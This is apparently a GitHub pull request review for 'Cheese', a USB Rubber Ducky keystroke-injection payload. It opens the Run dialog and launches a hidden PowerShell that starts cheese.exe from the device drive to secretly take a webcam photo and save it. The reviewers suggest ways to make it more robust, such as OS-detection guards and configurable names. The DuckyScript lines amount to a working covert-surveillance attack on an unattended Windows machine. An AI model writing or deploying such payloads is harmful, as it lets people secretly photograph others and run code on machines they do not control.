web cam photo taker #438
web cam photo taker #438
Conversation
| REM the ALF F4 is only if the target had autorun which will pop the Ducky folder | ||
|
|
||
| ATTACKMODE HID STORAGE | ||
| DELAY 5000 |
There was a problem hiding this comment.
Consider using EXTENSION PASSIVE_WINDOWS_DETECT the extension allows for the USB rubber ducky to detect when the target is accepting keystroke removing the need for a long start delay. Also allows you to add a guard statement to ensure the target is windows
for example
IF ($_OS != WINDOWS)
LED_R
STOP_PAYLOAD
END_IF
| DELAY 2000 | ||
| GUI r | ||
| DELAY 1000 | ||
| STRINGLN powershell -WindowStyle Hidden Start-Process -FilePath ((Get-Volume -FileSystemLabel 'DUCKY').DriveLetter + ':\cheese.exe'); Start-Sleep -Seconds 7; taskkill /F /IM cheese.exe |
There was a problem hiding this comment.
Consider using DEFINE at the start of your payload for the executable name. if the user changes cheese.exe to something different, this allows the user to easily modify the script. also adding a DEFINE for those who may not be using the default drive label of "DUCKY"
for example you can add this to the top of your payload
DEFINE #EXE_NAME cheese.exe
DEFINE #DUCKY_DRIVE_LABEL DUCKY
and modify line 14 with:
STRINGLN powershell -WindowStyle Hidden Start-Process -FilePath ((Get-Volume -FileSystemLabel '#DUCKY_DRIVE_LABEL').DriveLetter + ':\#EXE_NAME'); Start-Sleep -Seconds 7; taskkill /F /IM #EXE_NAME
| @@ -0,0 +1,9 @@ | |||
| ## About: | |||
| * Title: Cheese | |||
| * Description: Cheese is a Rubber Ducky Script that will execute cheese.exe which will take a photo from the webcam and save it to rubber ducky. | |||
There was a problem hiding this comment.
While the transparency is appreciated by adding the source code, it is non trivial for an end user to verify that the exe provided is actually compiled from the source code provided; because of this, unfortunately, compiled binaries are not allowed as a matter of policy. Instead, I would recommend either adding instructions in the README on how to compile the source code provided, or find an alternative approach that uses built in utilities rather than bringing your own executable.
|
|
||
| if (usbDriveLetter == "") | ||
| { | ||
| Console.WriteLine("USB drive 'DUCKY' not found."); |
There was a problem hiding this comment.
Consider not everyone's drive is named DUCKY
It is a script that will launch the binary, which will take a web cam photo and save it to ducky